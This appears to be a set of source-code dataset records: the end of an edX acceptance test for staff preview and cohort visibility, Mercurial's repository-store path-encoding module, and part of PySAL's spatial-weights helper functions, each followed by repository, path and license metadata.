student_a_username) add_cohort_with_student("Cohort Beta", "beta", student_b_username) cohort_management_page.wait_for_ajax() def test_as_specific_student(self): student_a_username = 'tass_student_a' student_b_username = 'tass_student_b' AutoAuthPage(self.browser, username=student_a_username, course_id=self.course_id, no_login=True).visit() AutoAuthPage(self.browser, username=student_b_username, course_id=self.course_id, no_login=True).visit() self.create_cohorts_and_assign_students(student_a_username, student_b_username) # Masquerade as student in alpha cohort: course_page = self._goto_staff_page() course_page.set_staff_view_mode_specific_student(student_a_username) verify_expected_problem_visibility(self, course_page, [self.alpha_text, self.everyone_text]) # Masquerade as student in beta cohort: course_page.set_staff_view_mode_specific_student(student_b_username) verify_expected_problem_visibility(self, course_page, [self.beta_text, self.everyone_text]) @attr('a11y') def test_course_page(self): """ Run accessibility audit for course staff pages. """ course_page = self._goto_staff_page() course_page.a11y_audit.config.set_rules({ 'ignore': [ 'aria-allowed-attr', # TODO: AC-559 'aria-roles', # TODO: AC-559, 'aria-valid-attr', # TODO: AC-559 'color-contrast', # TODO: AC-559 'link-href', # TODO: AC-559 'section', # TODO: AC-559 ] }) course_page.a11y_audit.check_for_accessibility_errors() def verify_expected_problem_visibility(test, courseware_page, expected_problems): """ Helper method that checks that the expected problems are visible on the current page. """ test.assertEqual( len(expected_problems), courseware_page.num_xblock_components, "Incorrect number of visible problems" ) for index, expected_problem in enumerate(expected_problems): test.assertIn(expected_problem, courseware_page.xblock_components[index].text)
louyihua/edx-platform
common/test/acceptance/tests/lms/test_lms_user_preview.py
Python
agpl-3.0
16,868
[ "VisIt" ]
1c05dbe4b504230834080202f2b8a37bb7101b6fadf0038afbb6352201d1e6e7
# store.py - repository store handling for Mercurial # # Copyright 2008 Matt Mackall <mpm@selenic.com> # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. from __future__ import absolute_import import errno import hashlib import os import stat from .i18n import _ from . import ( error, parsers, scmutil, util, ) # This avoids a collision between a file named foo and a dir named # foo.i or foo.d def _encodedir(path): ''' >>> _encodedir('data/foo.i') 'data/foo.i' >>> _encodedir('data/foo.i/bla.i') 'data/foo.i.hg/bla.i' >>> _encodedir('data/foo.i.hg/bla.i') 'data/foo.i.hg.hg/bla.i' >>> _encodedir('data/foo.i\\ndata/foo.i/bla.i\\ndata/foo.i.hg/bla.i\\n') 'data/foo.i\\ndata/foo.i.hg/bla.i\\ndata/foo.i.hg.hg/bla.i\\n' ''' return (path .replace(".hg/", ".hg.hg/") .replace(".i/", ".i.hg/") .replace(".d/", ".d.hg/")) encodedir = getattr(parsers, 'encodedir', _encodedir) def decodedir(path): ''' >>> decodedir('data/foo.i') 'data/foo.i' >>> decodedir('data/foo.i.hg/bla.i') 'data/foo.i/bla.i' >>> decodedir('data/foo.i.hg.hg/bla.i') 'data/foo.i.hg/bla.i' ''' if ".hg/" not in path: return path return (path .replace(".d.hg/", ".d/") .replace(".i.hg/", ".i/") .replace(".hg.hg/", ".hg/")) def _reserved(): ''' characters that are problematic for filesystems * ascii escapes (0..31) * ascii hi (126..255) * windows specials these characters will be escaped by encodefunctions ''' winreserved = [ord(x) for x in '\\:*?"<>|'] for x in range(32): yield x for x in range(126, 256): yield x for x in winreserved: yield x def _buildencodefun(): ''' >>> enc, dec = _buildencodefun() >>> enc('nothing/special.txt') 'nothing/special.txt' >>> dec('nothing/special.txt') 'nothing/special.txt' >>> enc('HELLO') '_h_e_l_l_o' >>> dec('_h_e_l_l_o') 'HELLO' >>> enc('hello:world?') 'hello~3aworld~3f' >>> dec('hello~3aworld~3f') 'hello:world?' >>> enc('the\x07quick\xADshot') 'the~07quick~adshot' >>> dec('the~07quick~adshot') 'the\\x07quick\\xadshot' ''' e = '_' cmap = dict([(chr(x), chr(x)) for x in xrange(127)]) for x in _reserved(): cmap[chr(x)] = "~%02x" % x for x in list(range(ord("A"), ord("Z") + 1)) + [ord(e)]: cmap[chr(x)] = e + chr(x).lower() dmap = {} for k, v in cmap.iteritems(): dmap[v] = k def decode(s): i = 0 while i < len(s): for l in xrange(1, 4): try: yield dmap[s[i:i + l]] i += l break except KeyError: pass else: raise KeyError return (lambda s: ''.join([cmap[c] for c in s]), lambda s: ''.join(list(decode(s)))) _encodefname, _decodefname = _buildencodefun() def encodefilename(s): ''' >>> encodefilename('foo.i/bar.d/bla.hg/hi:world?/HELLO') 'foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o' ''' return _encodefname(encodedir(s)) def decodefilename(s): ''' >>> decodefilename('foo.i.hg/bar.d.hg/bla.hg.hg/hi~3aworld~3f/_h_e_l_l_o') 'foo.i/bar.d/bla.hg/hi:world?/HELLO' ''' return decodedir(_decodefname(s)) def _buildlowerencodefun(): ''' >>> f = _buildlowerencodefun() >>> f('nothing/special.txt') 'nothing/special.txt' >>> f('HELLO') 'hello' >>> f('hello:world?') 'hello~3aworld~3f' >>> f('the\x07quick\xADshot') 'the~07quick~adshot' ''' cmap = dict([(chr(x), chr(x)) for x in xrange(127)]) for x in _reserved(): cmap[chr(x)] = "~%02x" % x for x in range(ord("A"), ord("Z") + 1): cmap[chr(x)] = chr(x).lower() return lambda s: "".join([cmap[c] for c in s]) lowerencode = getattr(parsers, 'lowerencode', None) or _buildlowerencodefun() # Windows reserved names: con, prn, aux, nul, com1..com9, lpt1..lpt9 _winres3 = ('aux', 'con', 'prn', 'nul') # length 3 _winres4 = ('com', 'lpt') # length 4 (with trailing 1..9) def _auxencode(path, dotencode): ''' Encodes filenames containing names reserved by Windows or which end in period or space. Does not touch other single reserved characters c. Specifically, c in '\\:*?"<>|' or ord(c) <= 31 are *not* encoded here. Additionally encodes space or period at the beginning, if dotencode is True. Parameter path is assumed to be all lowercase. A segment only needs encoding if a reserved name appears as a basename (e.g. "aux", "aux.foo"). A directory or file named "foo.aux" doesn't need encoding. >>> s = '.foo/aux.txt/txt.aux/con/prn/nul/foo.' >>> _auxencode(s.split('/'), True) ['~2efoo', 'au~78.txt', 'txt.aux', 'co~6e', 'pr~6e', 'nu~6c', 'foo~2e'] >>> s = '.com1com2/lpt9.lpt4.lpt1/conprn/com0/lpt0/foo.' >>> _auxencode(s.split('/'), False) ['.com1com2', 'lp~749.lpt4.lpt1', 'conprn', 'com0', 'lpt0', 'foo~2e'] >>> _auxencode(['foo. '], True) ['foo.~20'] >>> _auxencode([' .foo'], True) ['~20.foo'] ''' for i, n in enumerate(path): if not n: continue if dotencode and n[0] in '. ': n = "~%02x" % ord(n[0]) + n[1:] path[i] = n else: l = n.find('.') if l == -1: l = len(n) if ((l == 3 and n[:3] in _winres3) or (l == 4 and n[3] <= '9' and n[3] >= '1' and n[:3] in _winres4)): # encode third letter ('aux' -> 'au~78') ec = "~%02x" % ord(n[2]) n = n[0:2] + ec + n[3:] path[i] = n if n[-1] in '. ': # encode last period or space ('foo...' -> 'foo..~2e') path[i] = n[:-1] + "~%02x" % ord(n[-1]) return path _maxstorepathlen = 120 _dirprefixlen = 8 _maxshortdirslen = 8 * (_dirprefixlen + 1) - 4 def _hashencode(path, dotencode): digest = hashlib.sha1(path).hexdigest() le = lowerencode(path[5:]).split('/') # skips prefix 'data/' or 'meta/' parts = _auxencode(le, dotencode) basename = parts[-1] _root, ext = os.path.splitext(basename) sdirs = [] sdirslen = 0 for p in parts[:-1]: d = p[:_dirprefixlen] if d[-1] in '. ': # Windows can't access dirs ending in period or space d = d[:-1] + '_' if sdirslen == 0: t = len(d) else: t = sdirslen + 1 + len(d) if t > _maxshortdirslen: break sdirs.append(d) sdirslen = t dirs = '/'.join(sdirs) if len(dirs) > 0: dirs += '/' res = 'dh/' + dirs + digest + ext spaceleft = _maxstorepathlen - len(res) if spaceleft > 0: filler = basename[:spaceleft] res = 'dh/' + dirs + filler + digest + ext return res def _hybridencode(path, dotencode): '''encodes path with a length limit Encodes all paths that begin with 'data/', according to the following. Default encoding (reversible): Encodes all uppercase letters 'X' as '_x'. All reserved or illegal characters are encoded as '~xx', where xx is the two digit hex code of the character (see encodefilename). Relevant path components consisting of Windows reserved filenames are masked by encoding the third character ('aux' -> 'au~78', see _auxencode). Hashed encoding (not reversible): If the default-encoded path is longer than _maxstorepathlen, a non-reversible hybrid hashing of the path is done instead. This encoding uses up to _dirprefixlen characters of all directory levels of the lowerencoded path, but not more levels than can fit into _maxshortdirslen. Then follows the filler followed by the sha digest of the full path. The filler is the beginning of the basename of the lowerencoded path (the basename is everything after the last path separator). The filler is as long as possible, filling in characters from the basename until the encoded path has _maxstorepathlen characters (or all chars of the basename have been taken). The extension (e.g. '.i' or '.d') is preserved. The string 'data/' at the beginning is replaced with 'dh/', if the hashed encoding was used. ''' path = encodedir(path) ef = _encodefname(path).split('/') res = '/'.join(_auxencode(ef, dotencode)) if len(res) > _maxstorepathlen: res = _hashencode(path, dotencode) return res def _pathencode(path): de = encodedir(path) if len(path) > _maxstorepathlen: return _hashencode(de, True) ef = _encodefname(de).split('/') res = '/'.join(_auxencode(ef, True)) if len(res) > _maxstorepathlen: return _hashencode(de, True) return res _pathencode = getattr(parsers, 'pathencode', _pathencode) def _plainhybridencode(f): return _hybridencode(f, False) def _calcmode(vfs): try: # files in .hg/ will be created using this mode mode = vfs.stat().st_mode # avoid some useless chmods if (0o777 & ~util.umask) == (0o777 & mode): mode = None except OSError: mode = None return mode _data = ('data meta 00manifest.d 00manifest.i 00changelog.d 00changelog.i' ' phaseroots obsstore') class basicstore(object): '''base class for local repository stores''' def __init__(self, path, vfstype): vfs = vfstype(path) self.path = vfs.base self.createmode = _calcmode(vfs) vfs.createmode = self.createmode self.rawvfs = vfs self.vfs = scmutil.filtervfs(vfs, encodedir) self.opener = self.vfs def join(self, f): return self.path + '/' + encodedir(f) def _walk(self, relpath, recurse): '''yields (unencoded, encoded, size)''' path = self.path if relpath: path += '/' + relpath striplen = len(self.path) + 1 l = [] if self.rawvfs.isdir(path): visit = [path] readdir = self.rawvfs.readdir while visit: p = visit.pop() for f, kind, st in readdir(p, stat=True): fp = p + '/' + f if kind == stat.S_IFREG and f[-2:] in ('.d', '.i'): n = util.pconvert(fp[striplen:]) l.append((decodedir(n), n, st.st_size)) elif kind == stat.S_IFDIR and recurse: visit.append(fp) l.sort() return l def datafiles(self): return self._walk('data', True) + self._walk('meta', True) def topfiles(self): # yield manifest before changelog return reversed(self._walk('', False)) def walk(self): '''yields (unencoded, encoded, size)''' # yield data files first for x in self.datafiles(): yield x for x in self.topfiles(): yield x def copylist(self): return ['requires'] + _data.split() def write(self, tr): pass def invalidatecaches(self): pass def markremoved(self, fn): pass def __contains__(self, path): '''Checks if the store contains path''' path = "/".join(("data", path)) # file? if self.vfs.exists(path + ".i"): return True # dir? if not path.endswith("/"): path = path + "/" return self.vfs.exists(path) class encodedstore(basicstore): def __init__(self, path, vfstype): vfs = vfstype(path + '/store') self.path = vfs.base self.createmode = _calcmode(vfs) vfs.createmode = self.createmode self.rawvfs = vfs self.vfs = scmutil.filtervfs(vfs, encodefilename) self.opener = self.vfs def datafiles(self): for a, b, size in super(encodedstore, self).datafiles(): try: a = decodefilename(a) except KeyError: a = None yield a, b, size def join(self, f): return self.path + '/' + encodefilename(f) def copylist(self): return (['requires', '00changelog.i'] + ['store/' + f for f in _data.split()]) class fncache(object): # the filename used to be partially encoded # hence the encodedir/decodedir dance def __init__(self, vfs): self.vfs = vfs self.entries = None self._dirty = False def _load(self): '''fill the entries from the fncache file''' self._dirty = False try: fp = self.vfs('fncache', mode='rb') except IOError: # skip nonexistent file self.entries = set() return self.entries = set(decodedir(fp.read()).splitlines()) if '' in self.entries: fp.seek(0) for n, line in enumerate(fp): if not line.rstrip('\n'): t = _('invalid entry in fncache, line %d') % (n + 1) raise error.Abort(t) fp.close() def write(self, tr): if self._dirty: tr.addbackup('fncache') fp = self.vfs('fncache', mode='wb', atomictemp=True) if self.entries: fp.write(encodedir('\n'.join(self.entries) + '\n')) fp.close() self._dirty = False def add(self, fn): if self.entries is None: self._load() if fn not in self.entries: self._dirty = True self.entries.add(fn) def remove(self, fn): if self.entries is None: self._load() try: self.entries.remove(fn) self._dirty = True except KeyError: pass def __contains__(self, fn): if self.entries is None: self._load() return fn in self.entries def __iter__(self): if self.entries is None: self._load() return iter(self.entries) class _fncachevfs(scmutil.abstractvfs, scmutil.auditvfs): def __init__(self, vfs, fnc, encode): scmutil.auditvfs.__init__(self, vfs) self.fncache = fnc self.encode = encode def __call__(self, path, mode='r', *args, **kw): if mode not in ('r', 'rb') and (path.startswith('data/') or path.startswith('meta/')): self.fncache.add(path) return self.vfs(self.encode(path), mode, *args, **kw) def join(self, path): if path: return self.vfs.join(self.encode(path)) else: return self.vfs.join(path) class fncachestore(basicstore): def __init__(self, path, vfstype, dotencode): if dotencode: encode = _pathencode else: encode = _plainhybridencode self.encode = encode vfs = vfstype(path + '/store') self.path = vfs.base self.pathsep = self.path + '/' self.createmode = _calcmode(vfs) vfs.createmode = self.createmode self.rawvfs = vfs fnc = fncache(vfs) self.fncache = fnc self.vfs = _fncachevfs(vfs, fnc, encode) self.opener = self.vfs def join(self, f): return self.pathsep + self.encode(f) def getsize(self, path): return self.rawvfs.stat(path).st_size def datafiles(self): for f in sorted(self.fncache): ef = self.encode(f) try: yield f, ef, self.getsize(ef) except OSError as err: if err.errno != errno.ENOENT: raise def copylist(self): d = ('data meta dh fncache phaseroots obsstore' ' 00manifest.d 00manifest.i 00changelog.d 00changelog.i') return (['requires', '00changelog.i'] + ['store/' + f for f in d.split()]) def write(self, tr): self.fncache.write(tr) def invalidatecaches(self): self.fncache.entries = None def markremoved(self, fn): self.fncache.remove(fn) def _exists(self, f): ef = self.encode(f) try: self.getsize(ef) return True except OSError as err: if err.errno != errno.ENOENT: raise # nonexistent entry return False def __contains__(self, path): '''Checks if the store contains path''' path = "/".join(("data", path)) # check for files (exact match) e = path + '.i' if e in self.fncache and self._exists(e): return True # now check for directories (prefix match) if not path.endswith('/'): path += '/' for e in self.fncache: if e.startswith(path) and self._exists(e): return True return False def store(requirements, path, vfstype): if 'store' in requirements: if 'fncache' in requirements: return fncachestore(path, vfstype, 'dotencode' in requirements) return encodedstore(path, vfstype) return basicstore(path, vfstype)
dscho/hg
mercurial/store.py
Python
gpl-2.0
17,398
[ "VisIt" ]
4f75a8c5f6da9a92df77328dab04b9f8ef216074f953b328c1ab4688e347c907
""" Convenience functions for the construction of spatial weights based on contiguity and distance criteria. """ __author__ = "Sergio J. Rey <srey@asu.edu> " from Contiguity import buildContiguity, Queen, Rook from Distance import knnW, Kernel, DistanceBand from util import get_ids, get_points_array_from_shapefile, min_threshold_distance from ..io.FileIO import FileIO as ps_open from .. import cg from weights import WSP import numpy as np __all__ = ['queen_from_shapefile', 'rook_from_shapefile', 'knnW_from_array', 'knnW_from_shapefile', 'threshold_binaryW_from_array', 'threshold_binaryW_from_shapefile', 'threshold_continuousW_from_array', 'threshold_continuousW_from_shapefile', 'kernelW', 'kernelW_from_shapefile', 'adaptive_kernelW', 'adaptive_kernelW_from_shapefile', 'min_threshold_dist_from_shapefile', 'build_lattice_shapefile'] def queen_from_shapefile(shapefile, idVariable=None, sparse=False): """ Queen contiguity weights from a polygon shapefile. Parameters ---------- shapefile : string name of polygon shapefile including suffix. idVariable : string name of a column in the shapefile's DBF to use for ids. sparse : boolean If True return WSP instance If False return W instance Returns ------- w : W instance of spatial weights Examples -------- >>> wq=queen_from_shapefile(pysal.examples.get_path("columbus.shp")) >>> "%.3f"%wq.pct_nonzero '9.829' >>> wq=queen_from_shapefile(pysal.examples.get_path("columbus.shp"),"POLYID") >>> "%.3f"%wq.pct_nonzero '9.829' >>> wq=queen_from_shapefile(pysal.examples.get_path("columbus.shp"), sparse=True) >>> pct_sp = wq.sparse.nnz *1. / wq.n**2 >>> "%.3f"%pct_sp '0.098' Notes ----- Queen contiguity defines as neighbors any pair of polygons that share at least one vertex in their polygon definitions. See Also -------- :class:`pysal.weights.W` """ w = Queen.from_shapefile(shapefile, idVariable=idVariable) if sparse: w = WSP(w.sparse, id_order=w.id_order) return w def rook_from_shapefile(shapefile, idVariable=None, sparse=False): """ Rook contiguity weights from a polygon shapefile. Parameters ---------- shapefile : string name of polygon shapefile including suffix. idVariable: string name of a column in the shapefile's DBF to use for ids sparse : boolean If True return WSP instance If False return W instance Returns ------- w : W instance of spatial weights Examples -------- >>> wr=rook_from_shapefile(pysal.examples.get_path("columbus.shp"), "POLYID") >>> "%.3f"%wr.pct_nonzero '8.330' >>> wr=rook_from_shapefile(pysal.examples.get_path("columbus.shp"), sparse=True) >>> pct_sp = wr.sparse.nnz *1. / wr.n**2 >>> "%.3f"%pct_sp '0.083' Notes ----- Rook contiguity defines as neighbors any pair of polygons that share a common edge in their polygon definitions. See Also -------- :class:`pysal.weights.W` """ w = Rook.from_shapefile(shapefile, idVariable=idVariable) if sparse: w = WSP(w.sparse, id_order=w.id_order) return w def spw_from_gal(galfile): """ Sparse scipy matrix for w from a gal file. Parameters ---------- galfile : string name of gal file including suffix Returns ------- spw : sparse_matrix scipy sparse matrix in CSR format ids : array identifiers for rows/cols of spw Examples -------- >>> spw = pysal.weights.user.spw_from_gal(pysal.examples.get_path("sids2.gal")) >>> spw.sparse.nnz 462 """ return ps_open(galfile, 'r').read(sparse=True) # Distance based weights def knnW_from_array(array, k=2, p=2, ids=None, radius=None): """ Nearest neighbor weights from a numpy array. Parameters ---------- data : array (n,m) attribute data, n observations on m attributes k : int number of nearest neighbors p : float Minkowski p-norm distance metric parameter: 1<=p<=infinity 2: Euclidean distance 1: Manhattan distance ids : list identifiers to attach to each observation radius : float If supplied arc_distances will be calculated based on the given radius. p will be ignored. Returns ------- w : W instance; Weights object with binary weights. Examples -------- >>> import numpy as np >>> x,y=np.indices((5,5)) >>> x.shape=(25,1) >>> y.shape=(25,1) >>> data=np.hstack([x,y]) >>> wnn2=knnW_from_array(data,k=2) >>> wnn4=knnW_from_array(data,k=4) >>> set([1, 5, 6, 2]) == set(wnn4.neighbors[0]) True >>> set([0, 1, 10, 6]) == set(wnn4.neighbors[5]) True >>> set([1, 5]) == set(wnn2.neighbors[0]) True >>> set([0,6]) == set(wnn2.neighbors[5]) True >>> "%.2f"%wnn2.pct_nonzero '8.00' >>> wnn4.pct_nonzero 16.0 >>> wnn4=knnW_from_array(data,k=4) >>> set([ 1,5,6,2]) == set(wnn4.neighbors[0]) True Notes ----- Ties between neighbors of equal distance are arbitrarily broken. See Also -------- :class:`pysal.weights.W` """ if radius is not None: kdtree = cg.KDTree(array, distance_metric='Arc', radius=radius) else: kdtree = cg.KDTree(array) return knnW(kdtree, k=k, p=p, ids=ids) def knnW_from_shapefile(shapefile, k=2, p=2, idVariable=None, radius=None): """ Nearest neighbor weights from a shapefile. Parameters ---------- shapefile : string shapefile name with shp suffix k : int number of nearest neighbors p : float Minkowski p-norm distance metric parameter: 1<=p<=infinity 2: Euclidean distance 1: Manhattan distance idVariable : string name of a column in the shapefile's DBF to use for ids radius : float If supplied arc_distances will be calculated based on the given radius. p will be ignored. Returns ------- w : W instance; Weights object with binary weights Examples -------- Polygon shapefile >>> wc=knnW_from_shapefile(pysal.examples.get_path("columbus.shp")) >>> "%.4f"%wc.pct_nonzero '4.0816' >>> set([2,1]) == set(wc.neighbors[0]) True >>> wc3=pysal.knnW_from_shapefile(pysal.examples.get_path("columbus.shp"),k=3) >>> set(wc3.neighbors[0]) == set([2,1,3]) True >>> set(wc3.neighbors[2]) == set([4,3,0]) True 1 offset rather than 0 offset >>> wc3_1=knnW_from_shapefile(pysal.examples.get_path("columbus.shp"),k=3,idVariable="POLYID") >>> set([4,3,2]) == set(wc3_1.neighbors[1]) True >>> wc3_1.weights[2] [1.0, 1.0, 1.0] >>> set([4,1,8]) == set(wc3_1.neighbors[2]) True Point shapefile >>> w=knnW_from_shapefile(pysal.examples.get_path("juvenile.shp")) >>> w.pct_nonzero 1.1904761904761905 >>> w1=knnW_from_shapefile(pysal.examples.get_path("juvenile.shp"),k=1) >>> "%.3f"%w1.pct_nonzero '0.595' >>> Notes ----- Supports polygon or point shapefiles. For polygon shapefiles, distance is based on polygon centroids. Distances are defined using coordinates in shapefile which are assumed to be projected and not geographical coordinates. Ties between neighbors of equal distance are arbitrarily broken. See Also -------- :class:`pysal.weights.W` """ data = get_points_array_from_shapefile(shapefile) if radius is not None: kdtree = cg.KDTree(data, distance_metric='Arc', radius=radius) else: kdtree = cg.KDTree(data) if idVariable: ids = get_ids(shapefile, idVariable) return knnW(kdtree, k=k, p=p, ids=ids) return knnW(kdtree, k=k, p=p) def threshold_binaryW_from_array(array, threshold, p=2, radius=None): """ Binary weights based on a distance threshold. Parameters ---------- array : array (n,m) attribute data, n observations on m attributes threshold : float distance band p : float Minkowski p-norm distance metric parameter: 1<=p<=infinity 2: Euclidean distance 1: Manhattan distance radius : float If supplied arc_distances will be calculated based on the given radius. p will be ignored. Returns ------- w : W instance Weights object with binary weights Examples -------- >>> points=[(10, 10), (20, 10), (40, 10), (15, 20), (30, 20), (30, 30)] >>> wcheck = pysal.W({0: [1, 3], 1: [0, 3, ], 2: [], 3: [1, 0], 4: [5], 5: [4]}) WARNING: there is one disconnected observation (no neighbors) Island id: [2] >>> w=threshold_binaryW_from_array(points,threshold=11.2) WARNING: there is one disconnected observation (no neighbors) Island id: [2] >>> pysal.weights.util.neighbor_equality(w, wcheck) True >>> """ if radius is not None: array = cg.KDTree(array, distance_metric='Arc', radius=radius) return DistanceBand(array, threshold=threshold, p=p) def threshold_binaryW_from_shapefile(shapefile, threshold, p=2, idVariable=None, radius=None): """ Threshold distance based binary weights from a shapefile. Parameters ---------- shapefile : string shapefile name with shp suffix threshold : float distance band p : float Minkowski p-norm distance metric parameter: 1<=p<=infinity 2: Euclidean distance 1: Manhattan distance idVariable : string name of a column in the shapefile's DBF to use for ids radius : float If supplied arc_distances will be calculated based on the given radius. p will be ignored. Returns ------- w : W instance Weights object with binary weights Examples -------- >>> w = threshold_binaryW_from_shapefile(pysal.examples.get_path("columbus.shp"),0.62,idVariable="POLYID") >>> w.weights[1] [1, 1] Notes ----- Supports polygon or point shapefiles. For polygon shapefiles, distance is based on polygon centroids. Distances are defined using coordinates in shapefile which are assumed to be projected and not geographical coordinates. """ data = get_points_array_from_shapefile(shapefile) if radius is not None: data = cg.KDTree(data, distance_metric='Arc', radius=radius) if idVariable: ids = get_ids(shapefile, idVariable) w = DistanceBand(data, threshold=threshold, p=p) w.remap_ids(ids) return w return threshold_binaryW_from_array(data, threshold, p=p) def threshold_continuousW_from_array(array, threshold, p=2, alpha=-1, radius=None): """ Continuous weights based on a distance threshold. Parameters ---------- array : array (n,m) attribute data, n observations on m attributes threshold : float distance band p : float Minkowski p-norm distance metric parameter: 1<=p<=infinity 2: Euclidean distance 1: Manhattan distance alpha : float distance decay parameter for weight (default -1.0) if alpha is positive the weights will not decline with distance. radius : If supplied arc_distances will be calculated based on the given radius. p will be ignored. Returns ------- w : W instance; Weights object with continuous weights. Examples -------- inverse distance weights >>> points=[(10, 10), (20, 10), (40, 10), (15, 20), (30, 20), (30, 30)] >>> wid=threshold_continuousW_from_array(points,11.2) WARNING: there is one disconnected observation (no neighbors) Island id: [2] >>> wid.weights[0] [0.10000000000000001, 0.089442719099991588] gravity weights >>> wid2=threshold_continuousW_from_array(points,11.2,alpha=-2.0) WARNING: there is one disconnected observation (no neighbors) Island id: [2] >>> wid2.weights[0] [0.01, 0.0079999999999999984] """ if radius is not None: array = cg.KDTree(array, distance_metric='Arc', radius=radius) w = DistanceBand( array, threshold=threshold, p=p, alpha=alpha, binary=False) return w def threshold_continuousW_from_shapefile(shapefile, threshold, p=2, alpha=-1, idVariable=None, radius=None): """ Threshold distance based continuous weights from a shapefile. Parameters ---------- shapefile : string shapefile name with shp suffix threshold : float distance band p : float Minkowski p-norm distance metric parameter: 1<=p<=infinity 2: Euclidean distance 1: Manhattan distance alpha : float distance decay parameter for weight (default -1.0) if alpha is positive the weights will not decline with distance. idVariable : string name of a column in the shapefile's DBF to use for ids radius : float If supplied arc_distances will be calculated based on the given radius. p will be ignored. Returns ------- w : W instance; Weights object with continuous weights. Examples -------- >>> w = threshold_continuousW_from_shapefile(pysal.examples.get_path("columbus.shp"),0.62,idVariable="POLYID") >>> w.weights[1] [1.6702346893743334, 1.7250729841938093] Notes ----- Supports polygon or point shapefiles. For polygon shapefiles, distance is based on polygon centroids. Distances are defined using coordinates in shapefile which are assumed to be projected and not geographical coordinates. """ data = get_points_array_from_shapefile(shapefile) if radius is not None: data = cg.KDTree(data, distance_metric='Arc', radius=radius) if idVariable: ids = get_ids(shapefile, idVariable) w = DistanceBand(data, threshold=threshold, p=p, alpha=alpha, binary=False) w.remap_ids(ids) else: w = threshold_continuousW_from_array(data, threshold, p=p, alpha=alpha) w.set_shapefile(shapefile,idVariable) return w # Kernel Weights def kernelW(points, k=2, function='triangular', fixed=True, radius=None, diagonal=False): """ Kernel based weights. Parameters ---------- points : array (n,k) n observations on k characteristics used to measure distances between the n objects k : int the number of nearest neighbors to use for determining bandwidth. Bandwidth taken as :math:`h_i=max(dknn) \\forall i` where :math:`dknn` is a vector of k-nearest neighbor distances (the distance to the kth nearest neighbor for each observation). function : {'triangular','uniform','quadratic','epanechnikov','quartic','bisquare','gaussian'} .. math:: z_{i,j} = d_{i,j}/h_i triangular .. math:: K(z) = (1 - |z|) \ if |z| \le 1 uniform .. math:: K(z) = |z| \ if |z| \le 1 quadratic .. math:: K(z) = (3/4)(1-z^2) \ if |z| \le 1 epanechnikov .. math:: K(z) = (1-z^2) \ if |z| \le 1 quartic .. math:: K(z) = (15/16)(1-z^2)^2 \ if |z| \le 1 bisquare .. math:: K(z) = (1-z^2)^2 \ if |z| \le 1 gaussian .. math:: K(z) = (2\pi)^{(-1/2)} exp(-z^2 / 2) fixed : boolean If true then :math:`h_i=h \\forall i`. If false then bandwidth is adaptive across observations. radius : float If supplied arc_distances will be calculated based on the given radius. p will be ignored. diagonal : boolean If true, set diagonal weights = 1.0, if false ( default) diagonal weights are set to value according to kernel function. Returns ------- w : W instance of spatial weights Examples -------- >>> points=[(10, 10), (20, 10), (40, 10), (15, 20), (30, 20), (30, 30)] >>> kw=kernelW(points) >>> kw.weights[0] [1.0, 0.500000049999995, 0.4409830615267465] >>> kw.neighbors[0] [0, 1, 3] >>> kw.bandwidth array([[ 20.000002], [ 20.000002], [ 20.000002], [ 20.000002], [ 20.000002], [ 20.000002]]) use different k >>> kw=kernelW(points,k=3) >>> kw.neighbors[0] [0, 1, 3, 4] >>> kw.bandwidth array([[ 22.36068201], [ 22.36068201], [ 22.36068201], [ 22.36068201], [ 22.36068201], [ 22.36068201]]) Diagonals to 1.0 >>> kq = kernelW(points,function='gaussian') >>> kq.weights {0: [0.3989422804014327, 0.35206533556593145, 0.3412334260702758], 1: [0.35206533556593145, 0.3989422804014327, 0.2419707487162134, 0.3412334260702758, 0.31069657591175387], 2: [0.2419707487162134, 0.3989422804014327, 0.31069657591175387], 3: [0.3412334260702758, 0.3412334260702758, 0.3989422804014327, 0.3011374490937829, 0.26575287272131043], 4: [0.31069657591175387, 0.31069657591175387, 0.3011374490937829, 0.3989422804014327, 0.35206533556593145], 5: [0.26575287272131043, 0.35206533556593145, 0.3989422804014327]} >>> kqd = kernelW(points, function='gaussian', diagonal=True) >>> kqd.weights {0: [1.0, 0.35206533556593145, 0.3412334260702758], 1: [0.35206533556593145, 1.0, 0.2419707487162134, 0.3412334260702758, 0.31069657591175387], 2: [0.2419707487162134, 1.0, 0.31069657591175387], 3: [0.3412334260702758, 0.3412334260702758, 1.0, 0.3011374490937829, 0.26575287272131043], 4: [0.31069657591175387, 0.31069657591175387, 0.3011374490937829, 1.0, 0.35206533556593145], 5: [0.26575287272131043, 0.35206533556593145, 1.0]} """ if radius is not None: points = cg.KDTree(points, distance_metric='Arc', radius=radius) return Kernel(points, function=function, k=k, fixed=fixed, diagonal=diagonal) def kernelW_from_shapefile(shapefile, k=2, function='triangular', idVariable=None, fixed=True, radius=None, diagonal=False): """ Kernel based weights. Parameters ---------- shapefile : string shapefile name with shp suffix k : int the number of nearest neighbors to use for determining bandwidth. Bandwidth taken as :math:`h_i=max(dknn) \\forall i` where :math:`dknn` is a vector of k-nearest neighbor distances (the distance to the kth nearest neighbor for each observation). function : {'triangular','uniform','quadratic','epanechnikov', 'quartic','bisquare','gaussian'} .. math:: z_{i,j} = d_{i,j}/h_i triangular .. math:: K(z) = (1 - |z|) \ if |z| \le 1 uniform .. math:: K(z) = |z| \ if |z| \le 1 quadratic .. math:: K(z) = (3/4)(1-z^2) \ if |z| \le 1 epanechnikov .. math:: K(z) = (1-z^2) \ if |z| \le 1 quartic .. math:: K(z) = (15/16)(1-z^2)^2 \ if |z| \le 1 bisquare .. math:: K(z) = (1-z^2)^2 \ if |z| \le 1 gaussian .. math:: K(z) = (2\pi)^{(-1/2)} exp(-z^2 / 2) idVariable : string name of a column in the shapefile's DBF to use for ids fixed : binary If true then :math:`h_i=h \\forall i`. If false then bandwidth is adaptive across observations. radius : float If supplied arc_distances will be calculated based on the given radius. p will be ignored. diagonal : boolean If true, set diagonal weights = 1.0, if false ( default) diagonal weights are set to value according to kernel function. Returns ------- w : W instance of spatial weights Examples -------- >>> kw = pysal.kernelW_from_shapefile(pysal.examples.get_path("columbus.shp"),idVariable='POLYID', function = 'gaussian') >>> kwd = pysal.kernelW_from_shapefile(pysal.examples.get_path("columbus.shp"),idVariable='POLYID', function = 'gaussian', diagonal = True) >>> set(kw.neighbors[1]) == set([4, 2, 3, 1]) True >>> set(kwd.neighbors[1]) == set([4, 2, 3, 1]) True >>> >>> set(kw.weights[1]) == set( [0.2436835517263174, 0.29090631630909874, 0.29671172124745776, 0.3989422804014327]) True >>> 